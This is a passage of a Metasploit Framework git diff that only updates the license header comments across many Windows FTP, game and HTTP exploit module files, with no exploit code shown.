Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb index 39f58dc94a..38fbb0ee38 100644 --- a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb +++ b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/pcman_stor.rb b/modules/exploits/windows/ftp/pcman_stor.rb index 211a1bf2b8..e87af145c6 100644 --- a/modules/exploits/windows/ftp/pcman_stor.rb +++ b/modules/exploits/windows/ftp/pcman_stor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/proftp_banner.rb b/modules/exploits/windows/ftp/proftp_banner.rb index c71d900fad..cbbcefd2e9 100644 --- a/modules/exploits/windows/ftp/proftp_banner.rb +++ b/modules/exploits/windows/ftp/proftp_banner.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/ftp/quickshare_traversal_write.rb b/modules/exploits/windows/ftp/quickshare_traversal_write.rb index 6d25efccdb..298a29c93f 100644 --- a/modules/exploits/windows/ftp/quickshare_traversal_write.rb +++ b/modules/exploits/windows/ftp/quickshare_traversal_write.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/ricoh_dl_bof.rb b/modules/exploits/windows/ftp/ricoh_dl_bof.rb index d084e6aff0..c69397ac6b 100644 --- a/modules/exploits/windows/ftp/ricoh_dl_bof.rb +++ b/modules/exploits/windows/ftp/ricoh_dl_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/sami_ftpd_list.rb b/modules/exploits/windows/ftp/sami_ftpd_list.rb index cb4dff2da1..c6ff9997fa 100644 --- a/modules/exploits/windows/ftp/sami_ftpd_list.rb +++ b/modules/exploits/windows/ftp/sami_ftpd_list.rb @@ -1,6 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/exploits/windows/ftp/sami_ftpd_user.rb b/modules/exploits/windows/ftp/sami_ftpd_user.rb index 89491c30e5..c6a5546220 100644 --- a/modules/exploits/windows/ftp/sami_ftpd_user.rb +++ b/modules/exploits/windows/ftp/sami_ftpd_user.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/sasser_ftpd_port.rb b/modules/exploits/windows/ftp/sasser_ftpd_port.rb index 6e88d7aaeb..72575fe9ae 100644 --- a/modules/exploits/windows/ftp/sasser_ftpd_port.rb +++ b/modules/exploits/windows/ftp/sasser_ftpd_port.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/scriptftp_list.rb b/modules/exploits/windows/ftp/scriptftp_list.rb index f615ac7dc1..2f760a39a9 100644 --- a/modules/exploits/windows/ftp/scriptftp_list.rb +++ b/modules/exploits/windows/ftp/scriptftp_list.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/ftp/seagull_list_reply.rb b/modules/exploits/windows/ftp/seagull_list_reply.rb index 473a45f44f..7220e1f834 100644 --- a/modules/exploits/windows/ftp/seagull_list_reply.rb +++ b/modules/exploits/windows/ftp/seagull_list_reply.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/ftp/servu_chmod.rb b/modules/exploits/windows/ftp/servu_chmod.rb index 03fb24a4ce..51b79cd9b9 100644 --- a/modules/exploits/windows/ftp/servu_chmod.rb +++ b/modules/exploits/windows/ftp/servu_chmod.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/servu_mdtm.rb b/modules/exploits/windows/ftp/servu_mdtm.rb index 22ec6df3ae..42a243fafb 100644 --- a/modules/exploits/windows/ftp/servu_mdtm.rb +++ b/modules/exploits/windows/ftp/servu_mdtm.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/slimftpd_list_concat.rb b/modules/exploits/windows/ftp/slimftpd_list_concat.rb index ddbce0a5b8..c6e8f4e25e 100644 --- a/modules/exploits/windows/ftp/slimftpd_list_concat.rb +++ b/modules/exploits/windows/ftp/slimftpd_list_concat.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/trellian_client_pasv.rb b/modules/exploits/windows/ftp/trellian_client_pasv.rb index dac2b09bfe..c7dfc67982 100644 --- a/modules/exploits/windows/ftp/trellian_client_pasv.rb +++ b/modules/exploits/windows/ftp/trellian_client_pasv.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/ftp/turboftp_port.rb b/modules/exploits/windows/ftp/turboftp_port.rb index a497af173f..986745dbba 100644 --- a/modules/exploits/windows/ftp/turboftp_port.rb +++ b/modules/exploits/windows/ftp/turboftp_port.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/vermillion_ftpd_port.rb b/modules/exploits/windows/ftp/vermillion_ftpd_port.rb index 91df66a590..49a66b4f45 100644 --- a/modules/exploits/windows/ftp/vermillion_ftpd_port.rb +++ b/modules/exploits/windows/ftp/vermillion_ftpd_port.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/warftpd_165_pass.rb b/modules/exploits/windows/ftp/warftpd_165_pass.rb index a92d1c369e..d084b013a2 100644 --- a/modules/exploits/windows/ftp/warftpd_165_pass.rb +++ b/modules/exploits/windows/ftp/warftpd_165_pass.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/warftpd_165_user.rb b/modules/exploits/windows/ftp/warftpd_165_user.rb index df2ae51f9c..e92334724f 100644 --- a/modules/exploits/windows/ftp/warftpd_165_user.rb +++ b/modules/exploits/windows/ftp/warftpd_165_user.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/wftpd_size.rb b/modules/exploits/windows/ftp/wftpd_size.rb index bcd294e31e..e7fc50c9ee 100644 --- a/modules/exploits/windows/ftp/wftpd_size.rb +++ b/modules/exploits/windows/ftp/wftpd_size.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb b/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb index 78431455aa..61e8d942bd 100644 --- a/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb +++ b/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb b/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb index 2898d1b83d..f6e6daa27c 100644 --- a/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb +++ b/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/xftp_client_pwd.rb b/modules/exploits/windows/ftp/xftp_client_pwd.rb index 791d21d06b..b9c8c5668d 100644 --- a/modules/exploits/windows/ftp/xftp_client_pwd.rb +++ b/modules/exploits/windows/ftp/xftp_client_pwd.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/ftp/xlink_client.rb b/modules/exploits/windows/ftp/xlink_client.rb index 69b053df5f..405efa59ef 100644 --- a/modules/exploits/windows/ftp/xlink_client.rb +++ b/modules/exploits/windows/ftp/xlink_client.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/ftp/xlink_server.rb b/modules/exploits/windows/ftp/xlink_server.rb index 819422bd22..2d87b3d703 100644 --- a/modules/exploits/windows/ftp/xlink_server.rb +++ b/modules/exploits/windows/ftp/xlink_server.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/games/mohaa_getinfo.rb b/modules/exploits/windows/games/mohaa_getinfo.rb index 8d68ac7003..35d5cc62d5 100644 --- a/modules/exploits/windows/games/mohaa_getinfo.rb +++ b/modules/exploits/windows/games/mohaa_getinfo.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/games/racer_503beta5.rb b/modules/exploits/windows/games/racer_503beta5.rb index 9218c01544..f4a275d62a 100644 --- a/modules/exploits/windows/games/racer_503beta5.rb +++ b/modules/exploits/windows/games/racer_503beta5.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/games/ut2004_secure.rb b/modules/exploits/windows/games/ut2004_secure.rb index b04edcd784..abef347ad2 100644 --- a/modules/exploits/windows/games/ut2004_secure.rb +++ b/modules/exploits/windows/games/ut2004_secure.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/adobe_robohelper_authbypass.rb b/modules/exploits/windows/http/adobe_robohelper_authbypass.rb index d25efd129a..295f456df9 100644 --- a/modules/exploits/windows/http/adobe_robohelper_authbypass.rb +++ b/modules/exploits/windows/http/adobe_robohelper_authbypass.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/altn_securitygateway.rb b/modules/exploits/windows/http/altn_securitygateway.rb index feace0f300..a1bdc56051 100644 --- a/modules/exploits/windows/http/altn_securitygateway.rb +++ b/modules/exploits/windows/http/altn_securitygateway.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/altn_webadmin.rb b/modules/exploits/windows/http/altn_webadmin.rb index fb1810e00a..15f14cdac5 100644 --- a/modules/exploits/windows/http/altn_webadmin.rb +++ b/modules/exploits/windows/http/altn_webadmin.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/amlibweb_webquerydll_app.rb b/modules/exploits/windows/http/amlibweb_webquerydll_app.rb index 09ee2e3dfa..74f405ecbe 100644 --- a/modules/exploits/windows/http/amlibweb_webquerydll_app.rb +++ b/modules/exploits/windows/http/amlibweb_webquerydll_app.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/apache_chunked.rb b/modules/exploits/windows/http/apache_chunked.rb index 890e966868..1b9c05d237 100644 --- a/modules/exploits/windows/http/apache_chunked.rb +++ b/modules/exploits/windows/http/apache_chunked.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb b/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb index 5fcae4eaba..21c075b9b2 100644 --- a/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb +++ b/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/apache_modjk_overflow.rb b/modules/exploits/windows/http/apache_modjk_overflow.rb index e4f3586150..6c0f87e633 100644 --- a/modules/exploits/windows/http/apache_modjk_overflow.rb +++ b/modules/exploits/windows/http/apache_modjk_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb b/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb index bd9fce2108..fd5bf59c74 100644 --- a/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb +++ b/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'uri' diff --git a/modules/exploits/windows/http/badblue_ext_overflow.rb b/modules/exploits/windows/http/badblue_ext_overflow.rb index 9c454896f9..290fea3f54 100644 --- a/modules/exploits/windows/http/badblue_ext_overflow.rb +++ b/modules/exploits/windows/http/badblue_ext_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/badblue_passthru.rb b/modules/exploits/windows/http/badblue_passthru.rb index 67d36cb379..b735bb69cf 100644 --- a/modules/exploits/windows/http/badblue_passthru.rb +++ b/modules/exploits/windows/http/badblue_passthru.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/bea_weblogic_jsessionid.rb b/modules/exploits/windows/http/bea_weblogic_jsessionid.rb index ede3327a9e..fba82433b8 100644 --- a/modules/exploits/windows/http/bea_weblogic_jsessionid.rb +++ b/modules/exploits/windows/http/bea_weblogic_jsessionid.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/bea_weblogic_post_bof.rb b/modules/exploits/windows/http/bea_weblogic_post_bof.rb index d1cf3e4dd6..a86071c0c2 100644 --- a/modules/exploits/windows/http/bea_weblogic_post_bof.rb +++ b/modules/exploits/windows/http/bea_weblogic_post_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb b/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb index 745073864f..5fb7a6e4e1 100644 --- a/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb +++ b/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/belkin_bulldog.rb b/modules/exploits/windows/http/belkin_bulldog.rb index 93fe7a9b0f..dc02b19e65 100644 --- a/modules/exploits/windows/http/belkin_bulldog.rb +++ b/modules/exploits/windows/http/belkin_bulldog.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb index 994d561739..59b726893b 100644 --- a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb +++ b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/ca_igateway_debug.rb b/modules/exploits/windows/http/ca_igateway_debug.rb index c30edaea69..41d75c5217 100644 --- a/modules/exploits/windows/http/ca_igateway_debug.rb +++ b/modules/exploits/windows/http/ca_igateway_debug.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb index 28af866f20..7e55d58e30 100644 --- a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb +++ b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb b/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb index a8072a5b38..7fe4d8bd68 100644 --- a/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb +++ b/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/coldfusion_fckeditor.rb b/modules/exploits/windows/http/coldfusion_fckeditor.rb index fb3458c48e..0c4916713d 100644 --- a/modules/exploits/windows/http/coldfusion_fckeditor.rb +++ b/modules/exploits/windows/http/coldfusion_fckeditor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/cyclope_ess_sqli.rb b/modules/exploits/windows/http/cyclope_ess_sqli.rb index 5d234a794a..c2f7e10963 100644 --- a/modules/exploits/windows/http/cyclope_ess_sqli.rb +++ b/modules/exploits/windows/http/cyclope_ess_sqli.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/http/easyftp_list.rb b/modules/exploits/windows/http/easyftp_list.rb index 9593ecf7ff..bd72a06f5c 100644 --- a/modules/exploits/windows/http/easyftp_list.rb +++ b/modules/exploits/windows/http/easyftp_list.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/edirectory_host.rb b/modules/exploits/windows/http/edirectory_host.rb index 1688c5b8a5..2e53fe9dea 100644 --- a/modules/exploits/windows/http/edirectory_host.rb +++ b/modules/exploits/windows/http/edirectory_host.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/edirectory_imonitor.rb b/modules/exploits/windows/http/edirectory_imonitor.rb index 61eb787474..5624ee53a6 100644 --- a/modules/exploits/windows/http/edirectory_imonitor.rb +++ b/modules/exploits/windows/http/edirectory_imonitor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/efs_easychatserver_username.rb b/modules/exploits/windows/http/efs_easychatserver_username.rb index 192751fdd1..87876ae500 100644 --- a/modules/exploits/windows/http/efs_easychatserver_username.rb +++ b/modules/exploits/windows/http/efs_easychatserver_username.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/ektron_xslt_exec.rb b/modules/exploits/windows/http/ektron_xslt_exec.rb index 826476655a..e240b0f546 100644 --- 